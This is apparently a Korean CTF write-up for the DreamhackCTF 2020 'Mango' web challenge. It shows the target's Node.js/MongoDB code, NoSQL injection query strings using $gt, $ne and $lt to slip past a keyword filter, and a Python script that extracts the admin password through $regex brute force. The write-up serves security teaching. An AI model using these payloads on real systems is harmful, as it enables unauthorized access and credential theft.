web 분야의 Mango 문제이다.

해당 문제는 코드가 주워줬고, `mongodb injection` 으로 admin 의 pw를 알아내는 문제이다.

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

 

위 코드에서 중요한 부분만 보면 아래와 같다.

`filter()` 함수로 특정 문자열을 필터링 하는 것을 볼 수 있다.

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    },
    ...

 

 

`mongodb injection` 기법중에서 `$ne` `$gt` `$lt` 등등 을 이용해 query를 조작할 수 있다.

예를들어 사진 결과를 보면 admin의 pw를 몰라도 result에 결과가 출력되는 것을 볼 수있다.

 

 

 

이 같은 원리로 문제 페이지에 요청을 보내보자.

아래와 같이 요청을 보내면 `guest` 가 출력이 된다.

/login?uid[$gt]=adm&upw[$ne]=

// result: guest

 

`guest` 빼고 다른 결과를 보기 위해 `$ne`를 이용하여 결과 값에서 `guest`를 제외시킨다.

이번에는 `dreamhack` 이 출력된다.

/login?uid[$gt]=adm&uid[$ne]=guest&upw[$ne]=

// result: dreamhack

 

 

이번에는 `$lt` 를 이용하여 `d` 라는 문자 보다 작은 값을 출력하게끔 만든다.

그럼 `dreamhack` < `d` 는 `false` 이므로 `dreamhack` 이 출력 되지 않는다. 

결과를 보면 성공적으로 `admin` 이 출력된다.

/login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$ne]=

// result: admin

 

 

 

문제는 admin의 pw를 알아내야 한다. 위에서 했던 방식으로 `upw[$lt]=DH...` 이런 식으로 찾아 보려고 했지만 `filter()` 함수에서 걸리게 된다. 다른 방법으론 `$regex` 를 사용하는 것이다.

아래 사진의 결과를 보면 DH로 시작하지 않아도 `$regex` 로 정규 표현식 비슷하게 찾을 수 있게 된다.

 

 

 

따라서 payload는 다음과 같다.

import requests
import string

url = "http://host3.dreamhack.games:15346/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase + "{}"

result = ""
for i in range(32):
    for idx, c in enumerate(s):
        payload = "?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]={" + (result+c)
        print(payload)
        res = requests.get(url+payload)
        
        if res.text.find("admin") != -1:
            result += s[idx]
            print(result)
            break

flag = "DH" + result + "}"

print(flag)

 

 

 

'CTF > DreamhackCTF 2020' 카테고리의 다른 글

[DreamhackCTF 2020] validator write up  (0) 2020.09.29
[DreamhackCTF 2020] Mango write up  (0) 2020.09.29